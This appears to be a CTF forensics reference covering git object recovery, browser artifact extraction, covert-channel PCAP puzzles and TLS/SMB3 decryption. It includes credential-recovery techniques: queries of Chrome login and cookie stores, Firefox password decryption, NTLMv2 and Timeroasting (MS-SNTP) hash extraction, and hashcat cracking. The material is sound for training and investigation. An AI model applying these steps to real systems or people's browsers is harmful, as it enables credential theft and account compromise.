Key insight: git rebase --squash removes commits from the branch history but doesn't delete the underlying objects. They remain as unreachable objects until garbage collection runs (git gc). Even after git gc, objects younger than the expiry period (default 2 weeks) survive. Always check git reflog and git fsck --unreachable when investigating git repos for hidden data.
Detection: Git repo with suspiciously clean history (single commit, or squash-merge commits). Challenge mentions "rewrite", "rebase", "squash", or "clean history".
# Default profile locations
# Linux: ~/.config/google-chrome/Default/
# macOS: ~/Library/Application Support/Google/Chrome/Default/
# Windows: %LOCALAPPDATA%\Google\Chrome\User Data\Default\
# History (SQLite)
sqlite3 "History" "SELECT url, title, datetime(last_visit_time/1000000-11644473600,'unixepoch') FROM urls ORDER BY last_visit_time DESC LIMIT 50;"
# Downloads
sqlite3 "History" "SELECT target_path, tab_url, datetime(start_time/1000000-11644473600,'unixepoch') FROM downloads;"
# Cookies (encrypted on modern Chrome — need DPAPI/keychain key)
sqlite3 "Cookies" "SELECT host_key, name, datetime(expires_utc/1000000-11644473600,'unixepoch') FROM cookies;"
# Login Data (passwords — encrypted)
sqlite3 "Login Data" "SELECT origin_url, username_value FROM logins;"
# Bookmarks (JSON)
cat Bookmarks | python3 -m json.tool | grep -A2 '"url"'
# Local Storage / IndexedDB — LevelDB format
# Use leveldb-dump or strings on LevelDB files
strings "Local Storage/leveldb/"*.ldb | grep -i flag
# Profile location: ~/.mozilla/firefox/*.default-release/
# Find profile
ls ~/.mozilla/firefox/ | grep default
# History + bookmarks (places.sqlite)
sqlite3 places.sqlite "SELECT url, title, datetime(last_visit_date/1000000,'unixepoch') FROM moz_places WHERE last_visit_date IS NOT NULL ORDER BY last_visit_date DESC LIMIT 50;"
# Form history
sqlite3 formhistory.sqlite "SELECT fieldname, value FROM moz_formhistory;"
# Saved passwords (requires key4.db + logins.json)
# Use firefox_decrypt: python3 firefox_decrypt.py ~/.mozilla/firefox/PROFILE/
# Session restore (previous tabs)
python3 -c "
import json, lz4.block
with open('sessionstore-backups/recovery.jsonlz4','rb') as f:
f.read(8) # skip magic
data = json.loads(lz4.block.decompress(f.read()))
for w in data['windows']:
for t in w['tabs']:
print(t['entries'][-1]['url'])
"
Key insight: Browser artifacts are SQLite databases with non-standard timestamp formats. Chrome uses WebKit epoch (microseconds since 1601-01-01), Firefox uses Unix epoch in microseconds. Always check History, Cookies, Login Data, Local Storage, and session restore files. For encrypted passwords, you need the master key (DPAPI on Windows, keychain on macOS, key4.db on Firefox).
Pattern (sharpturn): Git repository with corrupted blob objects. Since git identifies objects by SHA-1 hash, a single-byte corruption changes the hash, making the object unreadable. Repair by brute-forcing each byte position until git hash-object produces the expected hash.
import subprocess, shutil
def repair_blob(filepath, target_hash):
"""Brute-force single-byte corruption in a git blob."""
with open(filepath, 'rb') as f:
data = bytearray(f.read())
for pos in range(len(data)):
original = data[pos]
for val in range(256):
if val == original:
continue
data[pos] = val
with open(filepath, 'wb') as f:
f.write(data)
result = subprocess.run(
['git', 'hash-object', filepath],
capture_output=True, text=True
)
if result.stdout.strip() == target_hash:
print(f"Fixed byte {pos}: 0x{original:02x} -> 0x{val:02x}")
return True
data[pos] = original
with open(filepath, 'wb') as f:
f.write(data)
return False
Workflow:
git fsck to identify corrupted objects and their expected hashes.git/objects/python3 -c "import zlib; print(zlib.decompress(open('blob','rb').read()))"git hash-object matching the expected hashKey insight: Git's content-addressable storage means the expected SHA-1 hash is known from the commit tree, even when the blob is corrupted. Single-byte corruption is brute-forceable in seconds. For multi-byte corruption, combine with contextual knowledge (e.g., source code must compile, numeric constants must be valid).
Pattern (Breathing Void): Large PCAPNG with millions of packets, but only a few hundred on one interface carry data. The signal is in the timing gaps between identical packets, not their content.
Identification: Challenge mentions "breathing", "void", "silence", or timing. PCAP has many interfaces but only one has interesting traffic. Packets are identical but spaced at two distinct intervals.
Decoding workflow:
from scapy.all import rdpcap
packets = rdpcap('challenge.pcapng')
# 1. Filter to the right interface (e.g., interface 2)
# tshark: tshark -r challenge.pcapng -Y "frame.interface_id == 2" -T fields -e frame.time_epoch
# 2. Compute inter-packet intervals
times = [float(pkt.time) for pkt in packets if pkt.sniffed_on == 'interface_2']
intervals = [times[i+1] - times[i] for i in range(len(times)-1)]
# 3. Identify binary mapping (two distinct interval values)
# E.g., 10ms → 0, 100ms → 1 (threshold at ~50ms)
threshold = 0.05 # 50ms
bits = [0 if dt < threshold else 1 for dt in intervals]
# 4. May need to prepend a leading 0 bit (first interval has no predecessor)
bits = [0] + bits
# 5. Convert bits to bytes (MSB-first)
data = bytes(int(''.join(str(b) for b in bits[i:i+8]), 2)
for i in range(0, len(bits) - 7, 8))
print(data.decode(errors='replace'))
Key insight: When identical packets appear on a single interface with only two practical interval values, it's almost certainly binary encoding via timing. The content is noise — the signal is in the gaps. Filter by interface and count unique intervals first.
tshark -q -z io,phs to find which interface has the fewest packets — that's likely the data carrier.Pattern (Painter): PCAP contains USB HID interrupt transfers from a mouse/pen device. Drawing data encoded as relative movements with multiple draw modes.
Packet format (7-byte HID reports):
| Byte | Field | Notes |
|---|---|---|
| 0 | Button state | 0x01 = pressed (may be constant) |
| 1 | Mode/pad | 0=hover, 1=draw mode 1, 2=draw mode 2 |
| 2-3 | dx (int16 LE) | Relative X movement |
| 4-5 | dy (int16 LE) | Relative Y movement |
| 6 | Wheel | Usually 0 |
Extraction and rendering:
import struct
from PIL import Image, ImageDraw
# Extract HID data
# tshark -r capture.pcap -Y "usb.transfer_type==1" -T fields -e usb.capdata
packets = []
with open('hid_data.txt') as f:
for line in f:
raw = bytes.fromhex(line.strip().replace(':', ''))
if len(raw) >= 7:
btn = raw[0]
mode = raw[1]
dx = struct.unpack('<h', raw[2:4])[0]
dy = struct.unpack('<h', raw[4:6])[0]
packets.append((btn, mode, dx, dy))
# Accumulate positions per mode
SCALE = 5
positions = {0: [], 1: [], 2: []}
x, y = 0, 0
for btn, mode, dx, dy in packets:
x += dx
y += dy
positions[mode].append((x, y))
# Render each mode separately (different colors = different text layers)
for mode in [1, 2]:
pts = positions[mode]
if not pts:
continue
min_x = min(p[0] for p in pts) - 100
min_y = min(p[1] for p in pts) - 100
max_x = max(p[0] for p in pts) + 100
max_y = max(p[1] for p in pts) + 100
w = (max_x - min_x) * SCALE
h = (max_y - min_y) * SCALE
img = Image.new('RGB', (w, h), 'white')
draw = ImageDraw.Draw(img)
for i in range(1, len(pts)):
x0 = (pts[i-1][0] - min_x) * SCALE
y0 = (pts[i-1][1] - min_y) * SCALE
x1 = (pts[i][0] - min_x) * SCALE
y1 = (pts[i][1] - min_y) * SCALE
# Skip long jumps (pen lifts)
if abs(pts[i][0]-pts[i-1][0]) < 50 and abs(pts[i][1]-pts[i-1][1]) < 50:
draw.line([(x0,y0),(x1,y1)], fill='black', width=3)
img.save(f'mode_{mode}.png')
Key techniques:
Alternative: AWK extraction + SVG rendering (faster pipeline):
# Extract capdata and convert to signed deltas in one pass
tshark -r pref.pcap -Y "usb.transfer_type==0x01 && usb.endpoint_address==0x81 && usb.capdata" \
-T fields -e usb.capdata > capdata.txt
awk '
function hexval(c){ return index("0123456789abcdef",tolower(c))-1 }
function hex2dec(h, n,i){ n=0; for(i=1;i<=length(h);i++) n=n*16+hexval(substr(h,i,1)); return n }
function s16(u){ return (u>=32768)?u-65536:u }
{ d=$1; if(length(d)!=14) next
btn=hex2dec(substr(d,3,2))
x=s16(hex2dec(substr(d,7,2) substr(d,5,2)))
y=s16(hex2dec(substr(d,11,2) substr(d,9,2)))
print btn, x, y }' capdata.txt > deltas.txt
Then render with SVG (Python) — filter on pen-down state (button=2), accumulate deltas, flip Y axis, draw strokes between consecutive pen-down points.
Difference from keyboard HID: Mouse HID uses relative movements (accumulated), keyboard uses keycodes (direct). Mouse drawing requires rendering; keyboard requires keymap lookup.
Pattern ($whoami): SMB2 authentication in packet capture.
Extraction: From NTLMSSP_AUTH packet, extract: server challenge, NTProofStr, and blob.
Brute-force with known password format:
import hashlib, hmac
from Crypto.Hash import MD4
def try_password(password, username, domain, server_challenge, blob, expected_proof):
nt_hash = MD4.new(password.encode('utf-16-le')).digest()
identity = (username.upper() + domain).encode('utf-16-le')
ntlmv2_hash = hmac.new(nt_hash, identity, hashlib.md5).digest()
proof = hmac.new(ntlmv2_hash, server_challenge + blob, hashlib.md5).digest()
return proof == expected_proof
Pattern (pCapsized): Suspicious TCP packets with chaotic flag combinations (FIN+SYN, SYN+RST+PSH+URG, etc.). The 6 TCP flag bits encode base64 characters.
Decoding:
from scapy.all import rdpcap, TCP
pkts = rdpcap('capture.pcap')
suspicious = [p for p in pkts if TCP in p and p[TCP].dport == 5748]
# Map 6-bit flag value to base64 alphabet
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
encoded = ''.join(b64[p[TCP].flags & 0x3F] for p in suspicious)
import base64
flag = base64.b64decode(encoded).decode()
Key insight: TCP has 6 standard flag bits (FIN, SYN, RST, PSH, ACK, URG) = values 0-63, matching the base64 alphabet exactly. Unusual flag combinations on otherwise normal-looking packets indicate covert channel usage. Filter by destination port or source IP to isolate the channel.
Detection: Packets with nonsensical flag combinations (e.g., FIN+SYN simultaneously). Consistent destination port. Packet count is a multiple of 4 (base64 alignment).
Pattern (Last Byte Standing): PCAP with DNS queries where data is encoded in the last byte of each query name.
Identification: Many DNS queries to unusual or sequential subdomains. The meaningful data is NOT in the query name itself but in the final byte/character of each name.
Decoding workflow:
from scapy.all import rdpcap, DNS, DNSQR
packets = rdpcap('last-byte-standing.pcap')
data = []
for pkt in packets:
if pkt.haslayer(DNSQR):
qname = pkt[DNSQR].qname.decode(errors='replace').rstrip('.')
if qname:
data.append(qname[-1]) # Last character of query name
# Reconstruct message from last bytes
message = ''.join(data)
print(message)
# May need additional decoding (hex, base64, etc.)
Variants:
.)Key insight: DNS exfiltration often hides data in query names. When queries look random but follow a pattern, extract specific character positions. The "last byte" pattern is simple but effective — each query contributes one byte to the message.
Detection: Large number of DNS queries to a single domain, queries with no legitimate purpose, sequential or patterned subdomain names.
Pattern (Last Byte Standing variant): Each DNS query packet contains a single extra byte appended AFTER the standard DNS question structure (after the null terminator + Type A + Class IN fields). The extra byte is 0x30 ('0') or 0x31 ('1'), encoding one bit per packet.
Decoding workflow:
from scapy.all import rdpcap, DNS, DNSQR, Raw
packets = rdpcap('challenge.pcap')
bits = []
for pkt in packets:
if pkt.haslayer(DNSQR):
# Get raw DNS payload
raw = bytes(pkt[DNS])
# Standard DNS question ends at: header(12) + qname + null(1) + type(2) + class(2)
qname = pkt[DNSQR].qname
expected_len = 12 + len(qname) + 1 + 2 + 2 # +1 for leading length byte
if len(raw) > expected_len:
trailing = raw[expected_len:]
for b in trailing:
bits.append(chr(b)) # '0' or '1'
# Convert bit string to ASCII (MSB-first, 8-bit chunks)
bitstring = ''.join(bits)
flag = ''.join(chr(int(bitstring[i:i+8], 2)) for i in range(0, len(bitstring) - 7, 8))
print(flag)
Key insight: Data is hidden not in the DNS query name but in extra bytes padding the packet after the question record. Wireshark hex inspection reveals non-standard packet lengths. Each trailing byte represents ASCII '0' or '1', forming a binary stream that decodes to the flag.
Detection: DNS packets slightly larger than expected for their query name. Hex dump shows 0x30/0x31 bytes after the Class IN field (00 01). Consistent query domain across all packets.
Pattern (Half Awake): PCAP with multiple protocol layers hiding data. Requires protocol-aware extraction, XOR decryption with a key found in-band, and merging parallel data streams.
Detailed workflow:
50 4b). Check raw hex of suspicious streamskey.version.local) containing the XOR keyimport string
from scapy.all import rdpcap, Raw, DNS, DNSRR
packets = rdpcap('half-awake.pcap')
# 1. Extract XOR key from mDNS TXT record
xor_key = None
for pkt in packets:
if pkt.haslayer(DNSRR):
rr = pkt[DNSRR]
if b'key' in rr.rrname.lower():
xor_key = int(rr.rdata, 16) # e.g., 0xb7
# 2. Extract fake TLS stream (look for PK header in raw TCP data)
# Use Wireshark: tcp.stream eq N → Export raw bytes
# Or extract with scapy by filtering the right stream
# 3. XOR-decrypt two datasets from ZIP contents
def xor_decrypt(data, key):
return bytes(b ^ key for b in data)
p1 = xor_decrypt(stage1_data, xor_key)
p2 = xor_decrypt(stage2_data, xor_key)
# 4. Merge using printability: take the printable character from each position
flag = ''.join(
chr(p1[i]) if chr(p1[i]) in string.printable and chr(p1[i]).isprintable()
else chr(p2[i])
for i in range(len(p1))
)
print(flag)
Key insight: When a PCAP contains two XOR-decoded byte arrays of equal length where neither alone produces readable text, merge them character-by-character using printability as the selector — take whichever byte at each position is a printable ASCII character. The XOR key is often hidden in an in-band protocol like mDNS TXT records rather than requiring brute-force.
Indicators:
key.version.local)Pattern (Cursed Map): HTTP download of a file that decompresses to gigabytes (decompression bomb). The flag is sandwiched between two bomb halves at a seam in the compressed data.
Identification: Compressed data shows a repeating block pattern (e.g., 105-byte period). One block breaks the pattern — the flag is at this discontinuity.
import brotli
with open('flag.txt.br', 'rb') as f:
data = f.read()
# Find the repeating block size
block_size = 105 # Determined by comparing adjacent blocks
for i in range(0, len(data) - block_size, block_size):
if data[i:i+block_size] != data[i+block_size:i+2*block_size]:
seam_offset = i + block_size
break
# Decompress only the anomalous block
dec = brotli.Decompressor()
result = dec.process(data[seam_offset:seam_offset+block_size])
# Flag is in the decompressed output
Key insight: Decompression bombs use highly repetitive compressed data. The flag breaks this repetition, creating a detectable anomaly in the compressed stream. Compare adjacent fixed-size blocks to find the discontinuity, then decompress only that region — no need to decompress the entire multi-gigabyte output.
Detection: File with extreme compression ratio (MB → GB), HTTP Content-Encoding: br, or file identified as Brotli. Tools hang or OOM when trying to decompress.
Pattern (UntilTime): PCAP with SMB2 authentication followed by RPC calls over \pipe\lsarpc. The attacker enumerates Active Directory accounts by iterating RIDs (Relative Identifiers) through LSARPC functions.
Identification: SMB2 session setup with multiple authentication attempts (null session, Guest, random username), followed by RPC bind to LSARPC and repeated LsaLookupSids calls with incrementing RIDs.
Wireshark analysis:
# Filter SMB2 authentication attempts from attacker IP
tshark -r capture.pcapng -Y "ip.src == 198.51.100.16 && smb2.cmd == 1"
# Look for LSARPC RPC calls
tshark -r capture.pcapng -Y "dcerpc.cn_bind_to_str contains lsarpc"
RPC call sequence:
LsaOpenPolicy — opens a policy handle on the targetLsaQueryInformationPolicy — extracts the domain SID (e.g., S-1-5-21-...)LsaLookupSids — resolves SIDs to account names by iterating RIDs (1000, 1001, 1002, ...)Key insight: Guest account authentication (often enabled by default) grants enough access to enumerate domain accounts via LSARPC. The attacker constructs SIDs by appending incrementing RIDs to the domain SID and calling LsaLookupSids for each. Valid accounts return their name; invalid RIDs return errors. This technique is called RID cycling or RID brute-forcing.
Detection indicators:
LsaLookupSids requests with sequential RIDsPattern (UntilTime): After enumerating valid machine account RIDs via RID recycling, the attacker sends NTP requests with those RIDs to extract HMAC-MD5 authentication material from the domain controller's MS-SNTP responses.
Background: Microsoft's MS-SNTP extends standard NTP with Netlogon authentication in Active Directory environments. The client places a domain RID in the NTP Key Identifier field (4 bytes, little-endian). The domain controller responds with an HMAC-MD5 signature derived from the machine account's NTLM hash — leaking crackable authentication material.
Wireshark extraction:
# Filter NTP traffic from attacker
tshark -r capture.pcapng -Y "ntp && ip.src == 10.16.13.13" -T fields -e udp.payload
Convert Key Identifier to RID:
# NTP Key Identifier is 4 bytes, little-endian
echo "<key_id_hex>" | sed 's/\(..\)/\1 /g' | awk '{print "0x"$4$3$2$1}' | xargs printf "%d\n"
NTP response payload structure (68 bytes):
| Offset | Length | Field |
|---|---|---|
| 0-47 | 48 | Salt (NTP header + extensions) |
| 48-51 | 4 | Key Identifier (RID, little-endian) |
| 52-67 | 16 | HMAC-MD5 crypto-checksum |
Hash reconstruction for Hashcat (mode 31300):
import sys
from struct import unpack
def to_hashcat_form(hex_payload):
data = bytes.fromhex(hex_payload.strip())
salt = data[:48]
rid = unpack('<I', data[-20:-16])[0]
md5hash = data[-16:]
return f"{rid}:$sntp-ms${md5hash.hex()}${salt.hex()}"
if len(sys.argv) != 2:
print("Usage: python sntp_to_hashcat.py <hex_payload>")
sys.exit(1)
print(to_hashcat_form(sys.argv[1]))
Cracking with Hashcat:
# Mode 31300 = MS-SNTP (Timeroasting)
hashcat -m 31300 -a 0 -O hashes.txt rockyou.txt --username
Example hash format:
1108:$sntp-ms$d7d0422d66705c6189c1d20aed76baa4$1c0111e900000000000a09314c4f434ced4c979d652b89f1e1b8428bffbfcd0aed4ca3bbb1338716ed4ca3bbb133cf3a
Key insight: MS-SNTP responses from domain controllers leak HMAC-MD5 authentication material tied to machine account NTLM hashes. Unlike Kerberoasting (which targets service accounts), Timeroasting targets machine accounts whose passwords are often weak or predictable (e.g., lowercase hostname). Any valid RID triggers a response — no special privileges required beyond network access to the DC's NTP service (UDP 123).
Full attack chain:
See also: network.md for basic network forensics techniques (tcpdump, TLS/SSL decryption, Wireshark, port scanning, SMB3 decryption, credential extraction, 5G protocols).
Trigger: PCAP where only requests with a specific User-Agent (my-python-requests-useragent / custom string) receive non-default responses; URL paths look hex-encoded.
Signals: tshark filter http.user_agent == "..." isolates exactly the attacker flow; path segments are [0-9a-f]{16,}.
Mechanic: C2 pattern — UA as auth, URL-path as data channel. Pipeline:
tshark -r cap.pcap -Y 'http.user_agent contains "my-python"' -T fields -e http.request.full_uriforeniq.sh for custom-UA flows.Command-line packet capture tool for quick network forensics triage.
# Basic capture on interface
sudo tcpdump -i eth0
# Capture to file
sudo tcpdump -i eth0 -w capture.pcap
# Filter by source IP
sudo tcpdump -i eth0 src 192.168.1.100
# Filter by destination port
sudo tcpdump -i eth0 dst port 80
# Combined filter with file output
sudo tcpdump -i eth0 -w packets.pcap 'src 172.22.206.250 and port 443'
# Read from file with verbose output
tcpdump -r capture.pcap -v
# Show packet contents in ASCII
tcpdump -r capture.pcap -A
# Show hex + ASCII dump
tcpdump -r capture.pcap -X
# Count total packets
tcpdump -r capture.pcap -q | wc -l
Common filters:
| Filter | Description |
|---|---|
host 10.0.0.1 | Traffic to/from IP |
net 192.168.1.0/24 | Entire subnet |
port 80 | HTTP traffic |
tcp / udp / icmp | Protocol filter |
src host X and dst port Y | Combined |
Key insight: Use tcpdump for quick command-line triage when Wireshark is unavailable. Pipe to strings or grep for fast flag hunting: tcpdump -r capture.pcap -A | grep -i flag.
To decrypt TLS traffic in Wireshark, provide either the pre-master secret or a keylog file.
Method 1 — SSLKEYLOGFILE (client-side key logging):
If the challenge provides a keylog file (or you can set SSLKEYLOGFILE):
# Set environment variable before running the client
export SSLKEYLOGFILE=/tmp/sslkeys.log
curl https://target/secret
# Import into Wireshark:
# Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename → /tmp/sslkeys.log
Keylog file format (NSS Key Log Format):
CLIENT_RANDOM <32_bytes_client_random_hex> <48_bytes_master_secret_hex>
Method 2 — RSA private key (if server key is known):
Note: Only works with RSA key exchange. Sessions using forward secrecy (ECDHE/DHE cipher suites) cannot be decrypted with the server's private key — use Method 1 instead. CTF challenges with weak RSA keys typically use RSA key exchange.
# Wireshark: Edit → Preferences → Protocols → TLS → RSA keys list
# IP: 127.0.0.1, Port: 443, Protocol: http, Key File: server.key
# Or via tshark:
tshark -r capture.pcap -o "tls.keys_list:127.0.0.1,443,http,server.key" -Y http
Method 3 — Weak RSA key factoring (see also linux-forensics.md):
# Extract certificate from PCAP
tshark -r capture.pcap -Y "tls.handshake.type==11" -T fields -e tls.handshake.certificate | head -1
# Factor weak modulus, generate private key with rsatool
python rsatool.py -p <p> -q <q> -e 65537 -o server.key
# Import key into Wireshark
SSL handshake components needed for decryption:
client_random — sent in ClientHelloserver_random — sent in ServerHelloKey insight: Look for keylog files (.log, sslkeys.txt) in challenge artifacts. If the challenge gives you a private key, use it directly. For weak RSA keys in certificates, factor the modulus to derive the private key.
# Filters
http.request.method == "POST"
tcp.stream eq 5
frame contains "flag"
# Export files
File → Export Objects → HTTP
# tshark
tshark -r capture.pcap -Y "http" -T fields -e http.file_data
tshark -r capture.pcap --export-objects http,/tmp/http_objects
# IP conversation statistics
tshark -r capture.pcap -q -z conv,ip
# Find open ports (SYN-ACK responses)
tshark -r capture.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==1" \
-T fields -e ip.src -e tcp.srcport | sort -u
# Extract MAC addresses
tshark -r capture.pcap -Y "arp" -T fields \
-e arp.src.hw_mac -e arp.src.proto_ipv4 | sort -u
# Vendor lookup
curl -s "https://macvendors.com/query/88:bd:09"
Identify WPScan:
tshark -r capture.pcap -Y "http.user_agent contains \"WPScan\"" | head -1
WordPress version:
cat /tmp/http_objects/feed* | grep -i generator
Plugins:
tshark -r capture.pcap \
-Y "http.response.code == 200 && http.request.uri contains \"wp-content/plugins\"" \
-T fields -e http.request.uri | sort -u
Usernames (REST API):
cat /tmp/http_objects/*per_page* | jq '.[].name'
Step 1: TCP conversations
tshark -r capture.pcap -q -z conv,tcp
Step 2: Established connections (SYN-ACK)
tshark -r capture.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 1" \
-T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport | sort -u
Step 3: Follow TCP stream
tshark -r capture.pcap -q -z "follow,tcp,ascii,<stream_number>"
Reverse shell indicators:
bash: cannot set terminal process groupbash: no job control in this shellwww-data@hostname:/path$High-value files:
| Application | File | Format |
|---|---|---|
| WordPress | wp-config.php | define('DB_PASSWORD', '...') |
| Laravel | .env | DB_PASSWORD= |
| MySQL | /etc/mysql/debian.cnf | password = |
# Search shell stream for credentials
tshark -r capture.pcap -q -z "follow,tcp,ascii,<stream>" | grep -i "password"
Step 1: Extract NTLMv2 hash
tshark -r capture.pcap -Y "ntlmssp.messagetype == 0x00000003" -T fields \
-e ntlmssp.ntlmv2_response.ntproofstr \
-e ntlmssp.auth.username
Step 2: Crack with hashcat
hashcat -m 5600 ntlmv2_hash.txt wordlist.txt
Step 3: Derive SMB 3.1.1 session keys (Python)
from Cryptodome.Cipher import AES, ARC4
from Cryptodome.Hash import MD4
import hmac, hashlib
def SP800_108_Counter_KDF(Ki, Label, Context, L):
n = (L // 256) + 1
result = b''
for i in range(1, n + 1):
data = i.to_bytes(4, 'big') + Label + b'\x00' + Context + L.to_bytes(4, 'big')
result += hmac.new(Ki, data, hashlib.sha256).digest()
return result[:L // 8]
# Compute session key
nt_hash = MD4.new(password.encode('utf-16le')).digest()
response_key = hmac.new(nt_hash, (user.upper() + domain.upper()).encode('utf-16le'), hashlib.md5).digest()
key_exchange_key = hmac.new(response_key, ntproofstr, hashlib.md5).digest()
session_key = ARC4.new(key_exchange_key).encrypt(encrypted_session_key)
# Derive encryption keys
c2s_key = SP800_108_Counter_KDF(session_key, b"SMBC2SCipherKey\x00", preauth_hash, 128)
s2c_key = SP800_108_Counter_KDF(session_key, b"SMBS2CCipherKey\x00", preauth_hash, 128)
Step 4: Decrypt (AES-128-GCM)
def decrypt_smb311(transform_data, key):
signature = transform_data[4:20]
nonce = transform_data[20:32]
aad = transform_data[20:52]
encrypted = transform_data[52:]
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
cipher.update(aad)
return cipher.decrypt_and_verify(encrypted, signature)
Wireshark setup:
SMS in 5G (3GPP TS 23.040):
| IEI | Format |
|---|---|
| 0x0c | iMelody (ringtone) |
| 0x0e | Large Animation (16×16) |
| 0x18 | WVG (vector graphics) |
iMelody to Morse:
c4c4c4r2 encode dots/dashes